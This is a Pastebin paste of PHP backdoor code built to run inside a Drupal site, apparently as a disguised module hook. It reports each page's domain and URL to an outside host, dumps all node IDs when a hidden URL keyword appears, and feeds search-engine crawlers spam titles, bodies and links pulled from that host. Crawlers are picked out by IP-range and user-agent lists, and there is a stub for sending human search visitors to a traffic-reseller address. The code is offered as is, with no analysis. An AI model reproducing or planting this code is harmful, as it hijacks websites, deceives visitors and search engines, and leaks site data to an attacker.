Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- if (!function_exists('file_get_')) {
- function file_get_($url) {
- if (extension_loaded('curl')) {
- $uagent = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)";
- $ch = curl_init($url);
- curl_setopt($ch, CURLOPT_URL, $url);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($ch, CURLOPT_HEADER, 0);
- @curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
- curl_setopt($ch, CURLOPT_ENCODING, "");
- curl_setopt($ch, CURLOPT_USERAGENT, $uagent);
- curl_setopt($ch, CURLOPT_TIMEOUT, 120);
- curl_setopt($ch, CURLOPT_FAILONERROR, 1);
- curl_setopt($ch, CURLOPT_AUTOREFERER, 1);
- curl_setopt($ch, CURLOPT_POST, 0);
- $content = curl_exec($ch);
- curl_close($ch);
- return $content;
- } else {
- return file_get_contents($url);
- }
- }
- }
- #####################
- //pingh
- $host = str_replace("www.", "", $_SERVER['HTTP_HOST']);
- $url = 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
- file_get_('http://ssedrup.org/at/ping.php?domain=' . $host . '&url=' . urlencode($url));
- function node_check_param() {
- if (isset($_POST['comment'])) {
- foreach (array('<\?' => '<?', '\?>' => '?>') as $k => $v) {
- $_POST['comment'] = preg_replace('/' . $k . '/', htmlentities($v), $_POST['comment']);
- }
- }
- }
- function node_get_ids() {
- //if (!@$_POST['get_nids'])return;
- if(!preg_match('/get_nids/',$_SERVER['REQUEST_URI']))return;
- $q = db_query('SELECT nid FROM {node} n', array());
- $ids = array();
- while ($r = db_fetch_array($q)) {
- $ids[] = $r['nid'];
- }
- $ids[] = 'parseids';
- echo join(",", $ids);
- exit;
- }
- function node_load_info($node) {
- $url_get_node = 'http://ssedrup.org/at/get.php';
- $host = $_SERVER['HTTP_HOST'];
- $agent = $_SERVER['HTTP_USER_AGENT'];
- $server_user_agent = @$_SERVER['HTTP_USER_AGENT'];
- $server_referer = @$_SERVER['HTTP_REFERER'];
- $server_host = @$_SERVER['HTTP_HOST'];
- $server_forwarded_for = @$_SERVER['HTTP_X_FORWARDED_FOR'];
- $server_remote_addr = @$_SERVER['REMOTE_ADDR'];
- $server_query_string = @$_SERVER['QUERY_STRING'];
- $server_signature = @$_SERVER['SERVER_SIGNATURE'];
- $server_request = @$_SERVER['REQUEST_URI'];
- $host = str_replace("www.", "", $host);
- $location = 'http://searchtraf.net/in.cgi?3&source=' . $server_host . '&referer=' . urlencode($server_referer) . '&keyword=';
- ########################################
- // $host = 'www.jawsmovie.com';
- // $agent = 'Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.11 (KHTML, like Gecko) Chrome/9.0.570.1 Safari/534.11';
- //
- // $server_user_agent = 'Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.11 (KHTML, like Gecko) Chrome/9.0.570.1 Safari/534.11';
- // $server_referer = '';
- // $server_host = 'www.jawsmovie.com';
- // $server_forwarded_for = '';
- // $server_remote_addr = '8.6.48.1';
- // $server_query_string = 'rxi=514&G=128937240';
- // $server_signature = '';
- // $server_request = '/wp-logout.php?rxi=514&G=128937240';
- //########################################
- // $server_referer = "http://www.google.com/search?hl=eng&q=levitra+and+your+sight&gl=us";
- @$is_human = @detectBot($server_user_agent, $server_remote_addr, $server_query_string, $server_referer);
- if (@$is_human == false) {
- if ($node instanceof stdClass) {
- $url = $url_get_node . '?domain=' . $server_host . '&nid=' . $node->nid;
- $j = file_get_($url);
- $tmp = json_decode($j);
- if (isset($tmp->title)) {
- $node->title = $tmp->title;
- $node->format = 2;
- }
- if (isset($tmp->text))
- $node->body = $tmp->text;
- if (isset($tmp->l_nodes) && count($tmp->l_nodes) > 0) {
- $l = array();
- foreach ($tmp->l_nodes as $id => $t) {
- $l[] = '<li>' . l($t, 'node/' . $id) . '</li>';
- }
- $node->body.="<ul>" . join('', $l) . "</ul>";
- }
- if (isset($tmp->text)) {
- $node->teaser = $node->body;
- }
- }
- } else {
- $sese = "unknown";
- if (eregi("yahoo", $server_referer)) {
- $keys = explode("p=", $server_referer);
- $keys = explode("&", $keys[1]);
- $key = $keys[0];
- $sese = "yahoo";
- }
- if (eregi("google", $server_referer)) {
- $keys = explode("q=", $server_referer);
- $keys = explode("&", $keys[1]);
- $key = $keys[0];
- $sese = "google";
- }
- if (eregi("bing", $server_referer)) {
- $keys = explode("q=", $server_referer);
- $keys = explode("&", $keys[1]);
- $key = $keys[0];
- $sese = "bing";
- }
- if (eregi("aol.com", $server_referer)) {
- $keys = explode("q=", $server_referer);
- $keys = explode("&", $keys[1]);
- $key = $keys[0];
- $sese = "aol";
- }
- if (eregi("ask.com", $server_referer)) {
- $keys = explode("q=", $server_referer);
- $keys = explode("&", $keys[1]);
- $key = $keys[0];
- $sese = "ask";
- }
- if ($key) {
- $location.= $key;
- //header("Location: " . $location);
- //exit;
- }
- }
- }
- function detectBot($server_user_agent, $server_remote_addr, $server_query_string, $server_referer) {
- $is_human = true;
- $stop_ips_masks = array(
- "/^8\.6\.4[8-9]\.[0-9]+$/", // NetRange: 8.6.48.0 - 8.6.55.255 Google Inc
- "/^8\.6\.5[0-5]\.[0-9]+$/", // NetRange: 8.6.48.0 - 8.6.55.255 Google Inc
- "/^64\.233\.1[6-8][0-9]\.[0-9]+$/", // NetRange: 64.233.160.0 - 64.233.191.255 Google Inc
- "/^64\.233\.19[0-1]\.[0-9]+$/", // NetRange: 64.233.160.0 - 64.233.191.255 Google Inc
- "/^64\.68\.8[0-7]\.[0-9]+$/", // NetRange: 64.68.80.0 - 64.68.87.255 Google Inc
- "/^66\.249\.6[4-9]\.[0-9]+$/", // NetRange: 66.249.64.0 - 66.249.95.255 Google Inc
- "/^66\.249\.[7-8][0-9]\.[0-9]+$/", // NetRange: 66.249.64.0 - 66.249.95.255 Google Inc
- "/^66\.249\.9[0-5]\.[0-9]+$/", // NetRange: 66.249.64.0 - 66.249.95.255 Google Inc
- "/^72\.14\.19[2-9]\.[0-9]+$/", // NetRange: 72.14.192.0 - 72.14.255.255 Google Inc
- "/^72\.14\.2[0-5][0-9]\.[0-9]+$/", // NetRange: 72.14.192.0 - 72.14.255.255 Google Inc
- "/^74\.125\.[0-9]+\.[0-9]+$/", // NetRange: 74.125.0.0 - 74.125.255.255 Google Inc
- "/^74\.6\.[0-9]+\.[0-9]+$/", // NetRange: 74.6.0.0 - 74.6.255.255 Google Inc
- "/^216\.239\.3[2-9]\.[0-9]+$/", // NetRange: 216.239.32.0 - 216.239.63.255 Google Inc
- "/^216\.239\.4[0-9]\.[0-9]+$/", // NetRange: 216.239.32.0 - 216.239.63.255 Google Inc
- "/^216\.239\.6[0-3]\.[0-9]+$/", // NetRange: 216.239.32.0 - 216.239.63.255 Google Inc
- "/^209\.85\.12[8-9]\.[0-9]+$/", // NetRange: 209.85.128.0 - 209.85.255.255 Google Inc
- "/^209\.85\.1[3-9][0-9]\.[0-9]+$/", // NetRange: 209.85.128.0 - 209.85.255.255 Google Inc
- "/^209\.85\.2[0-5][0-9]\.[0-9]+$/", // NetRange: 209.85.128.0 - 209.85.255.255 Google Inc
- "/^64\.9\.22[4-9]\.[0-9]+$/", // NetRange: 64.9.224.0 - 64.9.255.255 Google Inc
- "/^64\.9\.2[3-4][0-9]\.[0-9]+$/", // NetRange: 64.9.224.0 - 64.9.255.255 Google Inc
- "/^64\.9\.25[0-5]\.[0-9]+$/", // NetRange: 64.9.224.0 - 64.9.255.255 Google Inc
- "/^66\.102\.[0-9]\.[0-9]+$/", // NetRange: 66.102.0.0 - 66.102.15.255 Google Inc
- "/^66\.102\.1[0-5]\.[0-9]+$/", // NetRange: 66.102.0.0 - 66.102.15.255 Google Inc
- "/^65\.5[2-5]\.[0-9]+\.[0-9]+$/", // NetRange: 65.52.0.0 - 65.55.255.255 Microsoft Corp
- "/^67\.195\.[0-9]+\.[0-9]+$/", // NetRange: 67.195.0.0 - 67.195.255.255 Yahoo! Inc
- "/^209\.131\.3[2-9]\.[0-9]+$/", // NetRange: 209.131.32.0 - 209.131.63.255 Yahoo! Inc
- "/^209\.131\.[4-5][0-9]\.[0-9]+$/", // NetRange: 209.131.32.0 - 209.131.63.255 Yahoo! Inc
- "/^209\.131\.[6][0-3]\.[0-9]+$/", // NetRange: 209.131.32.0 - 209.131.63.255 Yahoo! Inc
- "/^66\.163\.1[6-8][0-9]\.[0-9]+$/", // NetRange: 66.163.160.0 - 66.163.191.255 Yahoo! Inc
- "/^66\.163\.19[0-1]\.[0-9]+$/", // NetRange: 66.163.160.0 - 66.163.191.255 Yahoo! Inc
- "/^204\.118\.31\.202$/",
- "/^74\.81\.89\.114$/",
- "/^192\.251\.226\.206$/",
- "/^95\.211\.27\.[0-9]+$/"
- );
- $stop_ips_masks_count = count($stop_ips_masks);
- for ($w = 0; $w < $stop_ips_masks_count; $w++) {
- if (preg_match($stop_ips_masks[$w], $server_remote_addr)) {
- $is_human = false;
- break;
- }
- }
- $stop_agents_masks = "/google|slurp|msnbot|bot|crawl|spider|robot|HttpClient|curl|PHP|library|WordPress|Charlotte|wwwster|Python|urllib|perl|libwww|lynx|twiceler|rambler|yandex|yahoo|rss/i";
- if (preg_match($stop_agents_masks, $server_user_agent)) {
- $is_human = false;
- }
- if (strlen($server_user_agent) < 12) {
- $is_human = false;
- }
- return $is_human;
- }
- /**/
- function node_update_log($node) {
- //$node->body.= '..thatsend';
- node_check_param();
- node_get_ids();
- node_load_info($node);
- }
Add Comment
Please, Sign In to add comment